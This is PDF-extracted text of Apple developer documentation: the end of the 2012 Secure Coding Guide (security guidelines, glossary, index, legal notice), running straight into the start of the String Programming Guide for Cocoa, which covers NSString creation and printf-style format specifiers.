Third-Party Software Security GuidelinesTake care to avoid race conditions and information disclosure when using temporary files. If possible, use a
user-specific temporary file directory.
Avoid Requiring Elevated Privileges
Do not require or encourage users to be logged in as an admin user to install or use your application. You
should regularly test your application as a normal user to make sure that it works as expected.
Implement Secure Development Practices
Educate your developers on how to write secure code to avoid the most common classes of vulnerabilities:
● Buffer overflows
●
Integer overflows
● Race conditions
● Format string vulnerabilities
Pay special attention to code that:
● deals with potentially untrusted data, such as documents or URLs
● communicates over the network
● handles passwords or other sensitive information
●
runs with elevated privileges such as root or in the kernel
Use APIs appropriate for the task:
● Use APIs that take security into account in their design.
● Avoid low-level C code when possible (e.g. use NSString instead of C-strings).
● Use the security features of OS X to protect user data.
Test for Security
As appropriate for your product, use the following QA techniques to find potential security issues:
Third-Party Software Security Guidelines
Avoid Requiring Elevated Privileges
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
104● Test for invalid and unexpected data in addition to testing what is expected. (Use fuzzing tools, include
unit tests that test for failure, and so on.)
● Static code analysis
● Code reviews and audits
Helpful Resources
The other chaptersin this document describe best practicesfor writing secure code, including more information
on the topics referenced above.
Security Overview and Cryptographic Services Guide contain detailed information on security functionality in
OS X that developers can use.
Third-Party Software Security Guidelines
Helpful Resources
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
105This table describes the changes to Secure Coding Guide .
Date Notes
2012-06-11 Made minor typographical fixes.
2012-02-16 Fixed minor errors throughout.
2012-01-09 Updated for OS X v10.7.
2010-02-12 Added security guidelines.
Added article on validating input--including the dangers of loading
insecurely stored archives--and added information about the iOS where
relevant.
2008-05-23
New document that describes techniques to use and factors to consider
to make your code more secure from attack.
2006-05-23
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
106
Document Revision HistoryAES encryption Abbreviation for Advanced
Encryption Standard encryption. A Federal
Information Processing Standard (FIPS), described
in FIPS publication 197. AES has been adopted by
the U.S. government for the protection of sensitive,
non-classified information.
attacker Someone deliberately trying to make a
program or operating system do something that it’s
not supposed to do, such as allowing the attacker
to execute code or read private data.
authentication The process by which a person or
other entity (such as a server) proves that it is who
(or what) it says it is. Compare with authorization.
authorization The process by which an entity such
as a user or a server gets the right to perform a
privileged operation. (Authorization can also refer
to the right itself, as in “Bob has the authorization
to run that program.”) Authorization usually involves
first authenticating the entity and then determining
whether it has the appropriate privileges. See also
authentication.
buffer overflow The insertion of more data into a
memory buffer than was reserved for the buffer,
resulting in memory locations outside the buffer
being overwritten. See also heap overflow and stack
overflow.
CDSA Abbreviation for Common Data Security
Architecture. An open software standard for a
security infrastructure that provides a wide array of
security services, including fine-grained access
permissions, authentication of users, encryption, and
secure data storage. CDSA has a standard application
programming interface, called CSSM.
CERT Coordination Center A center of Internet
security expertise, located at the Software
Engineering Institute, a federally funded research
and development center operated by Carnegie
Mellon University. CERT is an acronym for Computer
Emergency Readiness Team.)
certificate See digital certificate.
Common Criteria A standardized process and set
of standards that can be used to evaluate the
security of software products developed by the
governments of the United States, Canada, the
United Kingdom, France, Germany, and the
Netherlands.
cracker See attacker.
CSSM Abbreviation for Common Security Services
Manager. A public application programming
interface for CDSA. CSSM also defines an interface
for plug-ins that implement security services for a
particular operating system and hardware
environment.
CVE Abbreviation for Common Vulnerabilities and
Exposures. A dictionary of standard names for
security vulnerabilities located at
http://www.cve.mitre.org/. You can run an Internet
search on the CVE number to read details about the
vulnerability.
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
107
Glossarydigital certificate A collection of data used to verify
the identity of the holder. OS X supports the X.509
standard for digital certificates.
exploit A program or sample code that
demonstrates how to take advantage of a
vulnerability.)
FileVault An OS X feature, configured through the
Security system preference, that encrypts everything
in on the root volume (or everything in the user’s
home directory prior to OS X v10.7).
hacker An expert programmer—generally one with
the skill to create an exploit. Most hackers do not
attack other programs, and some publish exploits
with the intent of forcing software developers to fix
vulnerabilities. See also script kiddie.
heap A region of memory reserved for use by a
program during execution. Data can be written to
or read from any location on the heap, which grows
upward (toward highermemory addresses). Compare
with stack.
heap overflow A buffer overflow in the heap.
homographs Characters that look the same but
have different Unicode values, such as the Roman
character p and the Russian glyph that is pronounced
like “r”.
integer overflow A buffer overflow caused by
entering a number that is too large for an integer
data type.
Kerberos An industry-standard protocol created by
the Massachusetts Institute of Technology (MIT) to
provide authentication over a network.
keychain A database used in OS X to store
encrypted passwords, private keys, and othersecrets.
It is also used to store certificates and other
non-secret information that is used in cryptography
and authentication.
Keychain Access utility An application that can be
used to manipulate data in the keychain.
Keychain Services A public API that can be used to
manipulate data in the keychain.
level of trust The confidence a user can have in the
validity of a certificate. The level of trust for a
certificate is used together with the trust policy to
answer the question “Should I trust this certificate
for this action?”
nonrepudiation A process or technique making it
impossible for a user to deny performing an
operation (such as using a specific credit card
number).
Open Directory The directory server provided by
OS X for secure storage of passwords and user
authentication.
permissions See privileges.
phishing A social engineering technique in which
an email or web page that spoofs one from a
legitimate businessis used to trick a user into giving
personal data and secrets (such as passwords) to
someone who has malicious intent.
policy database A database containing the set of
rules the Security Server uses to determine
authorization.
privileged operation An operation that requires
special rights or privileges.
privileges The type of access to a file or directory
(read, write, execute, traverse, and so forth) granted
to a user or to a group.
Glossary
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
108race condition The occurrence of two events out
of sequence.
root kit Malicious code that, by running in the
kernel, can not only take over control of the system
but can also cover up all evidence of its own
existence.
root privileges Having the unrestricted permission
to perform any operation on the system.
script kiddie Someone who uses published code
(scripts) to attack software and computer systems.
signal A message sent from one processto another
in a UNIX-based operating system (such as OS X)
social engineering As applied to security, tricking
a user into giving up secrets or into giving access to
a computer to an attacker.
smart card A plastic card similar in size to a credit
card that has memory and a microprocessor
embedded in it. A smart card can store and process
information, including passwords, certificates, and
keys.
stack A region of memory reserved for use by a
specific program and used to control program flow.
Data is put on the stack and removed in a
last-in–first-out fashion. The stack grows downward
(toward lower memory addresses). Compare with
heap.
stack overflow A buffer overflow on the stack.
time of check–time of use (TOCTOU) A race
condition in which an attacker creates, writes to, or
alters a file between the time when a program
checks the status of the file and when the program
writes to it.
trust policy A set of rules that specify the
appropriate uses for a certificate that has a specific
level of trust. For example, the trust policy for a
browser might state that if a certificate has expired,
the user should be prompted for permission before
a secure session is opened with a web server.
vulnerability A feature of the way a program was
written—either a design flaw or a bug—that makes
it possible for a hacker or script kiddie to attack the
program.
Glossary
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
109Symbols
_unknown user 84
A
access control 14
applications
factoring 69
interfaces 73–78
arguments, command line 61, 101
argv(0) 61
attackers 8
audit logs 91
authentication 14, 90
authopen 65
Authorization Services 72
authorization
granting 14
revoking 75
AuthorizationExecWithPrivilege 68
B
buffer overflows 11, 17–29
calculating buffer sizes 25–26
checklist 97
detecting 28
integer arithmetic 27
strings 22
buffer overflows See also heap , stack 17
C
certificates digital certificates 14
CFBundle 99
chflags 48
chmod 55
chown 55
close-on-exec flag 58
code insertion 37
command-line arguments 61, 101
command-line tools 100
configuration files 88
crackers 8
D
default settings 73
denial of service 91
device ID 58
digital certificate
identity 79
digital certificates 14
document organization 9
dyld 99
dynamic link editor 99
E
elevated privileges 59, 86
encryption 15
environment variables 62, 88
F
factoring applications 69
fchmod 55
fchown 55
file descriptor 50, 52
inheriting 58
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
110
Indexfile descriptors 61
file locations 75
file operations
Carbon 55
Cocoa 51
insecure 13, 47–58
POSIX 50
file system, remotely mounted 57
files
temporary 88
FileVault 75
firewall 91
fopen 55
format string attacks 34
FSFindFolder 50
fstat 55
fuzzing 39
G
GID 64
group ID 64
guest access 96
GUI 88
H
hackers 7
hard link 48
hash function 91, 102
heap 11
overflow 20, 22
I
identity 79
input validation 12
input
data structures 97
inappropriate 17
testing 28
to audit logs 92
types of 17
validating 19, 33–40, 100
insecure file operations 13, 47–58
installer 63
integer overflows 27
interface, user 76
ipfw 91
K
Kerberos 96
kernel extensions 72, 89
kernel messages 102
kernel
checklist 101
KEXT 72
L
launchd 66, 87
least privilege, principle of 60
left bracket 57
libbsm 92
/Library/StartupItems 68
logs, audit 91
lstat 55
M
Mach ports 101
mkstemp 53, 55
mktemp 55
N
negative numbers 27
network ports 90
nobody user 84
NSBundle 99
NSTemporaryDirectory 51
Index
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
111O
open 55
organization of document 9
P
passwords 93
permissions 52
permissions See also privileges
phishing 16, 78
plug-ins 99
policy database 69, 72
port numbers 90
ports, Mach 101
private key
identity 79
privileges 14, 59–72
elevated 59, 86
level, changing 64
principle of least privilege 60
root 14
process limits 62
R
race conditions 13, 43
interprocess communication 13
scripts 56
time of check–time of use 44–46
44–46
random numbers 97
references 10
remotely mounted file system 58
rm 48
root kit 89
root privileges 14
S
script kiddies 8
scripts, avoiding race conditions 56
Security Objective-C API 79
setegid 65
seteuid 65
setgid 65
setregid 65
setreuid 65
setrlimit 62
setuid 65, 67
SFAuthorizationView 79
SFCertificatePanel 79
SFCertificateTrustPanel 79
SFCertificateView 79
SFChooseIdentityPanel 79
SFKeychainSavePanel 79
SFKeychainSettingsPanel 80
shell commands 100
signal handler 46
social engineering 16, 37, 78
stack 11
overflow 18–20
stat 55
statistics of threats and attacks 16
string-handling functions 22, 97
sudo 87
symbolic link 49
syslog 92
SystemStarter 68
T
temporary files 50, 53, 88
and scripts 56
default location 50, 51
test 57
twos-complement arithmetic 27
U
UID 64
Index
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
112unique 84
umask 52
URL commands 12, 36
user ID 64
user interface 76
V
validating input 12, 33–40
W
wildcard characters 89
X
xinetd 68
Index
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
113Apple Inc.
© 2012 Apple Inc.
All rights reserved.
No part of this publication may be reproduced,
stored in a retrievalsystem, or transmitted, in any
form or by any means, mechanical, electronic,
photocopying, recording, or otherwise, without
prior written permission of Apple Inc., with the
following exceptions: Any person is hereby
authorized to store documentation on a single
computer for personal use only and to print
copies of documentation for personal use
provided that the documentation contains
Apple’s copyright notice.
No licenses, express or implied, are granted with
respect to any of the technology described in this
document. Apple retains all intellectual property
rights associated with the technology described
in this document. This document is intended to
assist application developers to develop
applications only for Apple-labeled computers.
Apple Inc.
1 Infinite Loop
Cupertino, CA 95014
408-996-1010
Apple, the Apple logo, Carbon, Cocoa, eMac,
FileVault, iPhone, Keychain, Mac, Macintosh,
Numbers, Objective-C, OS X, Pages, and Safari are
trademarks of Apple Inc., registered in the U.S.
and other countries.
.Mac is a service mark of Apple Inc., registered in
the U.S. and other countries.
App Store and Mac App Store are service marks
of Apple Inc.
Java is a registered trademark of Oracle and/or
its affiliates.
Ping is a registered trademark of Karsten
Manufacturing and is used in the U.S. under
license.
UNIX is a registered trademark of The Open
Group.
iOS is a trademark or registered trademark of
Cisco in the U.S. and other countries and is used
under license.
Even though Apple has reviewed this document,
APPLE MAKES NO WARRANTY OR REPRESENTATION,
EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS
DOCUMENT, ITS QUALITY, ACCURACY,
MERCHANTABILITY, OR FITNESS FOR A PARTICULAR
PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED
“AS IS,” AND YOU, THE READER, ARE ASSUMING THE
ENTIRE RISK AS TO ITS QUALITY AND ACCURACY.
IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT,
INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL
DAMAGES RESULTING FROM ANY DEFECT OR
INACCURACY IN THIS DOCUMENT, even if advised of
the possibility of such damages.
THE WARRANTY AND REMEDIES SET FORTH ABOVE
ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL
OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer,
agent, or employee is authorized to make any
modification, extension, or addition to this warranty.
Some states do not allow the exclusion or limitation
of implied warranties or liability for incidental or
consequential damages, so the above limitation or
exclusion may not apply to you. This warranty gives
you specific legal rights, and you may also have other
rights which vary from state to state.
String Programming
GuideContents
Introduction to String Programming Guide for Cocoa 5
Who Should Read This Document 5
Organization of This Document 5
See Also 6
Strings 7
Creating and Converting String Objects 8
Creating Strings 8
NSString from C Strings and Data 8
Variable Strings 9
Strings to Present to the User 10
Combining and Extracting Strings 10
Getting C Strings 11
Conversion Summary 12
Formatting String Objects 13
Formatting Basics 13
Strings and Non-ASCII Characters 14
NSLog and NSLogv 14
String Format Specifiers 15
Format Specifiers 15
Platform Dependencies 17
Reading Strings From and Writing Strings To Files and URLs 19
Reading From Files and URLs 19
Reading data with a known encoding 19
Reading data with an unknown encoding 20
Writing to Files and URLs 21
Summary 21
Searching, Comparing, and Sorting Strings 22
Search and Comparison Methods 22
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
2Searching strings 22
Comparing and sorting strings 23
Search and Comparison Options 24
Examples 24
Case-Insensitive Search for Prefix and Suffix 24
Comparing Strings 25
Sorting strings like Finder 26
Paragraphs and Line Breaks 28
Line and Paragraph Separator Characters 28
Separating a String “by Paragraph” 28
Characters and Grapheme Clusters 30
Character Sets 33
Character Set Basics 33
Creating Character Sets 33
Performance considerations 34
Creating a character set file 35
Standard Character Sets and Unicode Definitions 35
Scanners 36
Creating a Scanner 36
Using a Scanner 36
Example 38
Localization 39
String Representations of File Paths 40
Representing a Path 40
User Directories 41
Path Components 42
File Name Completion 43
Drawing Strings 44
Document Revision History 45
Index 47
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
3Tables
String Format Specifiers 15
Table 1 Format specifiers supported by the NSString formatting methods and CFString formatting
functions 15
Table 2 Length modifiers supported by the NSString formatting methods and CFString formatting
functions 16
Table 3 Format specifiers for data types 17
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
4String Programming Guide for Cocoa describes how to create, search, concatenate, and draw strings. It also
describes character sets, which let you search a string for characters in a group, and scanners, which convert
numbers to strings and vice versa.
Who Should Read This Document
You should read this document if you need to work directly with strings or character sets.
Organization of This Document
This document contains the following articles:
●
“Strings” (page 7) describes the characteristics of string objects in Cocoa.
●
“Creating and Converting String Objects” (page 8) explains the ways in which NSString and its subclass
NSMutableString create string objects and convert their contents to and from the various character
encodings they support.
●
“Formatting String Objects” (page 13) describes how to format NSString objects.
●
“String Format Specifiers” (page 15) describes printf-style format specifiers supported by NSString.
●
“Reading Strings From and Writing Strings To Files and URLs” (page 19) describes how to read strings
from and write strings to files and URLs.
●
“Searching, Comparing, and Sorting Strings” (page 22) describes methods for finding characters and
substrings within strings and for comparing one string to another.
●
“Paragraphs and Line Breaks” (page 28) describes how paragraphs and line breaks are represented.
●
“Characters and Grapheme Clusters” (page 30) describes how you can break strings down into
user-perceived characters.
●
“Character Sets” (page 33) explains how to use character set objects, and how to use NSCharacterSet
methods to create standard and custom character sets.
●
“Scanners” (page 36) describes NSScanner objects, which interpret and convert the characters of an
NSString object into number and string values.
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
5
Introduction to String Programming Guide for
Cocoa●
“String Representations of File Paths” (page 40) describes the NSString methods that manipulate strings
as file-system paths.
●
“Drawing Strings” (page 44) discusses the methods of the NSString class that support drawing directly
in an NSView object.
See Also
For more information, refer to the following documents:
● Attributed String Programming Guide is closely related to String Programming Guide for Cocoa . It provides
information about NSAttributedString objects, which manage sets of attributes, such as font and
kerning, that are associated with character strings or individual characters.
● Data Formatting Guide describes how to format data using objects that create, interpret, and validate
text.
●
Internationalization Programming Topics provides information about localizing strings in your project,
including information on how string formatting arguments can be ordered.
● String Programming Guide for Core Foundation in Core Foundation, discussesthe Core Foundation opaque
type CFString, which is toll-free bridged with the NSString class.
Introduction to String Programming Guide for Cocoa
See Also
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
6String objects represent character strings in Cocoa frameworks. Representing strings as objects allows you to
use strings wherever you use other objects. It also providesthe benefits of encapsulation,so thatstring objects
can use whatever encoding and storage is needed for efficiency while simply appearing as arrays of characters.
A string object is implemented as an array of Unicode characters (in other words, a text string). An immutable
string is a text string that is defined when it is created and subsequently cannot be changed. To create and
manage an immutable string, use the NSString class. To construct and manage a string that can be changed
after it has been created, use NSMutableString.
The objects you create using NSString and NSMutableString are referred to as string objects (or, when no
confusion will result, merely as strings). The term C string refers to the standard C char * type.
A string object presents itself as an array of Unicode characters. You can determine how many characters it
contains with the length method and can retrieve a specific character with the characterAtIndex: method.
These two “primitive” methods provide basic access to a string object. Most use of strings, however, is at a
higher level, with the strings being treated as single entities: You compare strings against one another, search
them for substrings, combine them into new strings, and so on. If you need to access string objects
character-by-character, you must understand the Unicode character encoding—specifically, issues related to
composed character sequences. For details see:
● The Unicode Standard, Version 4.0 . The Unicode Consortium. Boston: Addison-Wesley, 2003. ISBN
0-321-18578-1.
● The Unicode Consortium web site: http://www.unicode.org/.
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
7
StringsNSString and its subclass NSMutableString provide several ways to create string objects, most based
around the various character encodingsitsupports. Although string objects always present their own contents
as Unicode characters, they can convert their contents to and from many other encodings, such as 7-bit ASCII,
ISO Latin 1, EUC, and Shift-JIS. The availableStringEncodings class method returns the encodings
supported. You can specify an encoding explicitly when converting a C string to or from a string object, or use
the default C string encoding, which varies from platform to platform and is returned by the
defaultCStringEncoding class method.
Creating Strings
The simplest way to create a string object in source code is to use the Objective-C @"..." construct:
NSString *temp = @"Contrafibularity";
Note that, when creating a string constant in this fashion, you should use UTF-8 characters. Such an object is
created at compile time and exists throughout your program’s execution. The compiler makes such object
constants unique on a per-module basis, and they’re never deallocated. You can also send messages directly
to a string constant as you do any other string:
BOOL same = [@"comparison" isEqualToString:myString];
NSString from C Strings and Data
To create an NSString object from a C string, you use methods such as initWithCString:encoding:. You
must correctly specify the character encoding of the C string. Similar methods allow you to create string objects
from characters in a variety of encodings. The method initWithData:encoding: allows you to convert
string data stored in an NSData object into an NSString object.
char *utf8String = /* Assume this exists. */ ;
NSString *stringFromUTFString = [[NSString alloc] initWithUTF8String:utf8String];
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
8
Creating and Converting String Objectschar *macOSRomanEncodedString = /* assume this exists */ ;
NSString *stringFromMORString =
[[NSString alloc] initWithCString:macOSRomanEncodedString
encoding:NSMacOSRomanStringEncoding];
NSData *shiftJISData = /* assume this exists */ ;
NSString *stringFromShiftJISData =
[[NSString alloc] initWithData:shiftJISData
encoding:NSShiftJISStringEncoding];
The following example converts an NSString object containing a UTF-8 character to ASCII data then back to
an NSString object.
unichar ellipsis = 0x2026;
NSString *theString = [NSString stringWithFormat:@"To be continued%C", ellipsis];
NSData *asciiData = [theString dataUsingEncoding:NSASCIIStringEncoding
allowLossyConversion:YES];
NSString *asciiString = [[NSString alloc] initWithData:asciiData
encoding:NSASCIIStringEncoding];
NSLog(@"Original: %@ (length %d)", theString, [theString length]);
NSLog(@"Converted: %@ (length %d)", asciiString, [asciiString length]);
// output:
// Original: To be continued… (length 16)
// Converted: To be continued... (length 18)
Variable Strings
To create a variable string, you typically use stringWithFormat:: or initWithFormat: (or for localized
strings, localizedStringWithFormat:). These methods and theirsiblings use a formatstring as a template
into which the values you provide (string and other objects, numerics values, and so on) are inserted. They
and the supported format specifiers are described in “Formatting String Objects” (page 13).
Creating and Converting String Objects
Creating Strings
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
9You can build a string from existing string objects using the methods stringByAppendingString: and
stringByAppendingFormat: to create a new string by adding one string after another, in the second case
using a format string.
NSString *hString = @"Hello";
NSString *hwString = [hString stringByAppendingString:@", world!"];
Strings to Present to the User
When creating strings to present to the user, you should consider the importance of localizing your application.
In general, you should avoid creating user-visible strings directly in code. Instead you should use strings in
your code as a key to a localization dictionary that will supply the user-visible string in the user's preferred
language. Typically thisinvolves using NSLocalizedString and similar macros, asillustrated in the following
example.
NSString *greeting = NSLocalizedStringFromTable
(@"Hello", @"greeting to present in first launch panel", @"greetings");
For more about internationalizing your application, see Internationalization Programming Topics. “Localizing
String Resources” describes how to work with and reorder variable arguments in localized strings.
Combining and Extracting Strings
You can combine and extract strings in various ways. The simplest way to combine two strings is to append
one to the other. The stringByAppendingString: method returns a string object formed from the receiver
and the given argument.
NSString *beginning = @"beginning";
NSString *alphaAndOmega = [beginning stringByAppendingString:@" and end"];
// alphaAndOmega is @"beginning and end"
You can also combine several strings according to a template with the initWithFormat:,
stringWithFormat:, and stringByAppendingFormat: methods; these are described in more detail in
“Formatting String Objects” (page 13).
Creating and Converting String Objects
Combining and Extracting Strings
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
10You can extract substrings from the beginning or end of a string to a particular index, or from a specific range,
with the substringToIndex:, substringFromIndex:, and substringWithRange: methods. You can
also split a string into substrings (based on a separator string) with the componentsSeparatedByString:
method. These methods are illustrated in the following examples—notice that the index of the index-based
methods starts at 0:
NSString *source = @"0123456789";
NSString *firstFour = [source substringToIndex:4];
// firstFour is @"0123"
NSString *allButFirstThree = [source substringFromIndex:3];
// allButFirstThree is @"3456789"
NSRange twoToSixRange = NSMakeRange(2, 4);
NSString *twoToSix = [source substringWithRange:twoToSixRange];
// twoToSix is @"2345"
NSArray *split = [source componentsSeparatedByString:@"45"];
// split contains { @"0123", @"6789" }
If you need to extract strings using pattern-matching rather than an index, you should use a scanner—see
“Scanners” (page 36).
Getting C Strings
To get a C string from a string object, you are recommended to use UTF8String. This returns a const char
* using UTF8 string encoding.
const char *cString = [@"Hello, world" UTF8String];
The C string you receive is owned by a temporary object, and will become invalid when automatic deallocation
takes place. If you want to get a permanent C string, you must create a buffer and copy the contents of the
const char * returned by the method.
Similar methods allow you to create string objects from characters in the Unicode encoding or an arbitrary
encoding, and to extract data in these encodings. initWithData:encoding: and dataUsingEncoding:
perform these conversions from and to NSData objects.
Creating and Converting String Objects
Getting C Strings
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
11Conversion Summary
This table summarizes the most common means of creating and converting string objects:
Source Creation method Extraction method
In code @"..." compiler construct N/A
UTF8 encoding stringWithUTF8String: UTF8String
getCharacters:
getCharacters:range:
Unicode encoding stringWithCharacters: length:
Arbitrary encoding initWithData: encoding: dataUsingEncoding:
stringByAppendingString: N/A
stringByAppendingFormat:
Existing strings
localizedStringWithFormat: Use NSScanner
initWithFormat: locale:
Format string
Localized strings NSLocalizedString and similar N/A
Creating and Converting String Objects
Conversion Summary
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
12This article describes how to create a string using a format string, how to use non-ASCII characters in a format
string, and a common error that developers make when using NSLog or NSLogv.
Formatting Basics
NSString uses a format string whose syntax is similar to that used by other formatter objects. It supports the
format characters defined for the ANSI C function printf(), plus %@ for any object (see “String Format
Specifiers” (page 15) and the IEEE printf specification). If the object responds to descriptionWithLocale:
messages, NSString sends such a message to retrieve the text representation. Otherwise, it sends a
description message. “Localizing String Resources” describes how to work with and reorder variable arguments
in localized strings.
In formatstrings, a ‘%’ character announces a placeholder for a value, with the charactersthat follow determining
the kind of value expected and how to format it. For example, a format string of "%d houses" expects an
integer value to be substituted for the format expression '%d'. NSString supportsthe format characters defined
for the ANSI C functionprintf(), plus ‘@’ for any object. If the object responds to the
descriptionWithLocale: message, NSString sends that message to retrieve the text representation,
otherwise, it sends a description message.
Value formatting is affected by the user’s current locale, which is an NSDictionary object that specifies
number, date, and other kinds of formats. NSString uses only the locale’s definition for the decimal separator
(given by the key named NSDecimalSeparator). If you use a method that doesn’t specify a locale, the string
assumes the default locale.
You can use NSString’s stringWithFormat: method and other related methods to create strings with
printf-style formatspecifiers and argument lists, as described in “Creating and Converting StringObjects” (page
8). The examples below illustrate how you can create a string using a variety of formatspecifiers and arguments.
NSString *string1 = [NSString stringWithFormat:@"A string: %@, a float: %1.2f",
@"string", 31415.9265];
// string1 is "A string: string, a float: 31415.93"
NSNumber *number = @1234;
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
13
Formatting String ObjectsNSDictionary *dictionary = @{ [NSDate date]:@"date" };
NSString *baseString = @"Base string.";
NSString *string2 = [baseString stringByAppendingFormat:
@" A number: %@, a dictionary: %@", number, dictionary];
// string2 is "Base string. A number: 1234, a dictionary: {date = 2005-10-17
09:02:01 -0700; }"
Strings and Non-ASCII Characters
You can include non-ASCII characters(including Unicode) in strings usingmethodssuch as stringWithFormat:
and stringWithUTF8String:.
NSString *s = [NSString stringWithFormat:@"Long %C dash", 0x2014];
Since \xe2\x80\x94 is the 3-byte UTF-8 string for 0x2014, you could also write:
NSString *s = [NSString stringWithUTF8String:"Long \xe2\x80\x94 dash"];
NSLog and NSLogv
The utility functions NSLog() and NSLogv() use the NSString string formatting servicesto log error messages.
Note that as a consequence of this, you should take care when specifying the argument for these functions.
A common mistake isto specify a string that includesformatting characters, asshown in the following example.
NSString *string = @"A contrived string %@";
NSLog(string);
// The application will probably crash here due to signal 10 (SIGBUS)
It is better (safer) to use a format string to output another string, as shown in the following example.
NSString *string = @"A contrived string %@";
NSLog(@"%@", string);
// Output: A contrived string %@
Formatting String Objects
Strings and Non-ASCII Characters
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
14This article summarizes the format specifiers supported by string formatting methods and functions.
Format Specifiers
The format specifiers supported by the NSString formatting methods and CFString formatting functions
follow the IEEE printf specification; the specifiers are summarized in Table 1 (page 15). Note that you can also
use the “n$” positional specifiers such as %1$@ %2$s. For more details, see the IEEE printf specification. You
can also use these format specifiers with the NSLog function.
Table 1 Format specifiers supported by the NSString formatting methods and CFString formatting functions
Specifier Description
Objective-C object, printed as the string returned by descriptionWithLocale: if
available, or description otherwise. Also works with CFTypeRef objects, returning the
result of the CFCopyDescription function.
%@
%% '%' character.
%d, %D Signed 32-bit integer (int).
%u, %U Unsigned 32-bit integer (unsigned int).
Unsigned 32-bit integer (unsigned int), printed in hexadecimal using the digits 0–9
and lowercase a–f.
%x
Unsigned 32-bit integer (unsigned int), printed in hexadecimal using the digits 0–9
and uppercase A–F.
%X
%o, %O Unsigned 32-bit integer (unsigned int), printed in octal.
%f 64-bit floating-point number (double).
64-bit floating-point number (double), printed in scientific notation using a lowercase e
to introduce the exponent.
%e
64-bit floating-point number (double), printed in scientific notation using an uppercase
E to introduce the exponent.
%E
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
15
String Format SpecifiersSpecifier Description
64-bit floating-point number (double), printed in the style of %e if the exponent is less
than –4 or greater than or equal to the precision, in the style of %f otherwise.
%g
64-bit floating-point number (double), printed in the style of %E if the exponent is less
than –4 or greater than or equal to the precision, in the style of %f otherwise.
%G
8-bit unsigned character (unsigned char), printed by NSLog() as an ASCII character,
or, if not an ASCII character, in the octal format \\ddd or the Unicode hexadecimal format
\\udddd, where d is a digit.
%c
16-bit Unicode character (unichar), printed by NSLog() as an ASCII character, or, if not
an ASCII character, in the octal format \\ddd or the Unicode hexadecimal format \\udddd,
where d is a digit.
%C
Null-terminated array of 8-bit unsigned characters. Because the %s specifier causes the
characters to be interpreted in the system default encoding, the results can be variable,
especially with right-to-left languages. For example, with RTL, %s inserts direction markers
when the characters are not strongly directional. For this reason, it’s best to avoid %s and
specify encodings explicitly.
%s
%S Null-terminated array of 16-bit Unicode characters.
Void pointer (void *), printed in hexadecimal with the digits 0–9 and lowercase a–f, with
a leading 0x.
%p
64-bit floating-point number (double), printed in scientific notation with a leading 0x
and one hexadecimal digit before the decimal point using a lowercase p to introduce the
exponent.
%a
64-bit floating-point number (double), printed in scientific notation with a leading 0X
and one hexadecimal digit before the decimal point using a uppercase P to introduce the
exponent.
%A
%F 64-bit floating-point number (double), printed in decimal notation.
Table 2 Length modifiers supported by the NSString formatting methods and CFString formatting functions
Length Description
modifier
Length modifier specifying that a following d, o, u, x, or X conversion specifier applies to
a short or unsigned short argument.
h
Length modifier specifying that a following d, o, u, x, or X conversion specifier applies to
a signed char or unsigned char argument.
hh
String Format Specifiers
Format Specifiers
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
16Length Description
modifier
Length modifier specifying that a following d, o, u, x, or X conversion specifier applies to
a long or unsigned long argument.
l
Length modifiers specifying that a following d, o, u, x, or X conversion specifier applies
to a long long or unsigned long long argument.
ll, q
Length modifier specifying that a following a, A, e, E, f, F, g, or G conversion specifier
applies to a long double argument.
L
Length modifier specifying that a following d, o, u, x, or X conversion specifier applies to
a size_t or the corresponding signed integer type argument.
z
Length modifier specifying that a following d, o, u, x, or X conversion specifier applies to
a ptrdiff_t or the corresponding unsigned integer type argument.
t
Length modifier specifying that a following d, o, u, x, or X conversion specifier applies to
a intmax_t or uintmax_t argument.
j
Platform Dependencies
OS X uses several data types—NSInteger, NSUInteger,CGFloat, and CFIndex—to provide a consistent
means of representing values in 32- and 64-bit environments. In a 32-bit environment, NSInteger and
NSUInteger are defined as int and unsigned int, respectively. In 64-bit environments, NSInteger and
NSUInteger are defined as long and unsigned long, respectively. To avoid the need to use different
printf-style type specifiers depending on the platform, you can use the specifiers shown in Table 3. Note that
in some cases you may have to cast the value.
Table 3 Format specifiers for data types
Type Format specifier Considerations
NSInteger %ld or %lx Cast the value to long.
NSUInteger %lu or %lx Cast the value to unsigned long.
%f works for floats and doubles when formatting; but note the
technique described below for scanning.
CGFloat %f or %g
CFIndex %ld or %lx The same as NSInteger.
%p adds 0x to the beginning of the output. If you don't want
that, use %zx and no typecast.
pointer %p or %zx
String Format Specifiers
Platform Dependencies
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
17The following example illustrates the use of %ld to format an NSInteger and the use of a cast.
NSInteger i = 42;
printf("%ld\n", (long)i);
In addition to the considerations mentioned in Table 3, there is one extra case with scanning: you must
distinguish the types for float and double. You should use %f for float, %lf for double. If you need to use
